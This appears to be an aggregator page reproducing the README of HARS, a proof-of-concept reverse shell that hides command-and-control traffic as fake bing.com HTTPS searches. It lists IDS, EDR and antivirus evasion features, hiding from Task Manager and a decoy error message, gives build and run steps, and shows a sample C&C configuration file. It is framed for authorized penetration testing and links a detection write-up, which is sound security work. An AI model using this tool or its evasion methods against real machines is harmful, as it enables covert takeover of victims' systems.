All Projects → onSec-fr → Http Asynchronous Reverse Shell

onSec-fr / Http Asynchronous Reverse Shell

Licence: mit
[POC] Asynchronous reverse shell using the HTTP protocol.

Projects that are alternatives of or similar to Http Asynchronous Reverse Shell

Hrshell
HRShell is an HTTPS/HTTP reverse shell built with flask. It is an advanced C2 server with many features & capabilities.
Stars: ✭ 193 (+9.04%)
Mutual labels:  pentesting, reverse-shell
Covertutils
A framework for Backdoor development!
Stars: ✭ 424 (+139.55%)
Mutual labels:  pentesting, reverse-shell
Betterbackdoor
A backdoor with a multitude of features.
Stars: ✭ 195 (+10.17%)
Mutual labels:  pentesting, reverse-shell
Hack Tools
The all-in-one Red Team extension for Web Pentester 🛠
Stars: ✭ 2,750 (+1453.67%)
Mutual labels:  pentesting, reverse-shell
Thoron
Thoron Framework is a Linux post-exploitation framework that exploits Linux TCP vulnerability to provide a shell-like connection. Thoron Framework has the ability to create simple payloads to provide Linux TCP attack.
Stars: ✭ 87 (-50.85%)
Mutual labels:  pentesting, reverse-shell
Rspet
RSPET (Reverse Shell and Post Exploitation Tool) is a Python based reverse shell equipped with functionalities that assist in a post exploitation scenario.
Stars: ✭ 251 (+41.81%)
Mutual labels:  pentesting, reverse-shell
YAPS
Yet Another PHP Shell - The most complete PHP reverse shell
Stars: ✭ 35 (-80.23%)
Mutual labels:  reverse-shell, pentesting
Platypus
🔨 A modern multiple reverse shell sessions manager wrote in go
Stars: ✭ 559 (+215.82%)
Mutual labels:  pentesting, reverse-shell
Pwncat
pwncat - netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell, self-injecting shell and port forwarding magic - and its fully scriptable with Python (PSE)
Stars: ✭ 904 (+410.73%)
Mutual labels:  pentesting, reverse-shell
Pupy
Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python
Stars: ✭ 6,737 (+3706.21%)
Mutual labels:  pentesting, reverse-shell
Karkinos
Penetration Testing and Hacking CTF's Swiss Army Knife with: Reverse Shell Handling - Encoding/Decoding - Encryption/Decryption - Cracking Hashes / Hashing
Stars: ✭ 115 (-35.03%)
Mutual labels:  pentesting, reverse-shell
Reverse Shell
Reverse Shell as a Service
Stars: ✭ 1,281 (+623.73%)
Mutual labels:  pentesting, reverse-shell
Evilosx
An evil RAT (Remote Administration Tool) for macOS / OS X.
Stars: ✭ 1,826 (+931.64%)
Mutual labels:  pentesting, reverse-shell
Passcat
Passwords Recovery Tool
Stars: ✭ 164 (-7.34%)
Mutual labels:  pentesting
Reverse Shell Manager
🔨 A multiple reverse shell session/client manager via terminal
Stars: ✭ 171 (-3.39%)
Mutual labels:  reverse-shell
Zerodoor
A script written lazily for generating cross-platform backdoors on the go :)
Stars: ✭ 163 (-7.91%)
Mutual labels:  pentesting
Pycat
Python network tool, similar to Netcat with custom features.
Stars: ✭ 162 (-8.47%)
Mutual labels:  pentesting
Evabs
An open source Android application that is intentionally vulnerable so as to act as a learning platform for Android application security beginners.
Stars: ✭ 173 (-2.26%)
Mutual labels:  pentesting
Attiny85
RubberDucky like payloads for DigiSpark Attiny85
Stars: ✭ 169 (-4.52%)
Mutual labels:  pentesting
Invoke Apex
A PowerShell-based toolkit and framework consisting of a collection of techniques and tradecraft for use in red team, post-exploitation, adversary simulation, or other offensive security tasks.
Stars: ✭ 162 (-8.47%)
Mutual labels:  pentesting

HTTP/S Asynchronous Reverse Shell

Table of contents

  1. Introduction
  2. Features
  3. Demonstration
  4. Configuration

Why ?

Today there are many ways to create a reverse shell in order to be able to remotely control a machine through a firewall. Indeed, outgoing connections are not always filtered.

However security software and hardware (IPS, IDS, Proxy, AV, EDR...) are more and more powerful and can detect those attacks. Most of the time the connection to a reverse shell is established through a L4 TCP tunnel.

I figured that the best way to stay undetected would be to make it look like legitimate traffic. The HTTP protocol (Layer 7) is the most used by a standard user. Moreover it is almost never filtered so as not to block access to websites.

The particularity of this POC is that the communication is completely asynchronous, and it only uses GET requests.

How it works ?

  1. The client app is executed on the target machine.
  2. The client initiates the connection with the server.
  3. The server accepts the connection.

Then:
-The client queries the server until it gets instructions.
-The attacker provides instructions to the server.
-When a command is defined, the client executes it and returns the result.

And so on, until the attacker decides to end the session.

Disclaimer

This tool is only intended to be a proof of concept demonstration tool for authorized security testing. Make sure you check with your local laws before running this tool.


Features

Today, as a poc, the following functionalities are implemented:

  1. Fake HTTP traffic to appear as searches on bing.com.
  2. Commands are base64 encoded in the HTML response.
  3. The result of the commands is encoded in base64 as a cookie by the client.
  4. [Optional] SSL support; by default it is a fake bing.com certificate.
  5. Random delay between each client call to avoid triggering IDSs.
  6. Random template is used for each response from the server.
  7. Re-use of the same powershell process to avoid triggering EDRs.
  8. Support for all Cmd and Powershell commands.
  9. [Optional] The client can display a fake error message at startup.
  10. The client is hidden from tasks manager.
  11. [Optional] The client can be run as an administrator.
AV Detection

Only 3 out of 69 products were able to detect the client as malicious, without applying any evasive or obfuscation techniques.


Demonstration

Client side

Server side


Configuration

Client : C Sharp

  1. Open HARS.sln in Visual Studio

Config.cs

This file contains parameters ; Assign the values you want :

class Config
    {
        /* Behavior */
        // Display a fake error msg at startup
        public static bool DisplayErrorMsg = true;
        // Title of fake error msg
        public static string ErrorMsgTitle = "This application could not be started.";
        // Description of fake error msg
        public static string ErrorMsgDesc = "Unhandled exception has occured in your application. \r\r Object {0} is not valid.";
        // Min delay between the client calls
        public static int MinDelay = 2;
        // Max delay between the client calls
        public static int MaxDelay = 5;
        // Fake uri requested - Warning : it must begin with "search" (or need a change on server side)
        public static string Url = "search?q=search+something&qs=n&form=QBRE&cvid=";
        /* Listener */
        // Hostname/IP of C&C server
        public static string Server = "https://127.0.0.1";
        // Listening port of C&C server
        public static string Port = "443";
        // Allow self-signed or "unsecure" certificates - Warning : often needed in corporate environment using proxy
        public static bool AllowInsecureCertificate = true;
    }

HARS.manifest

Change this line to run by default the client with certain privileges :

<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />

With
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
or
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
or
<requestedExecutionLevel level="highestAvailable" uiAccess="false" />

Projet properties

Here you can customize the assembly information and an icon for the file.

Note : Target .NET framework version is set to 4.6 which is available by default in Windows 10.
For Windows 7, choose .NET 3.5 if you don't want to have to install missing features.

Build

Build the project from Visual Studio. The client should be generated in Http Asynchronous Reverse Shell\HARS_Client\HARS\bin\Release folder.

Done!


Server : Python

HARS_Server.py Location : Http Asynchronous Reverse Shell\HARS_Server\www

Simply change the port or location on the certificate if needed in the config section.

# Config
PORT = 443
CERT_FILE = '../server.pem'

Run

python HARS_Server.py

Notes

-HTTP Logs are located in Http Asynchronous Reverse Shell\HARS_Server\logs\
-You can add your own templates (any html page) in Http Asynchronous Reverse Shell\HARS_Server\templates

Review

A good review from the defender side by Lee Kirkpatric : https://community.rsa.com/community/products/netwitness/blog/2020/04/01/using-rsa-netwitness-to-detect-http-asynchronous-reverse-shell-hars


@onSec-fr

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].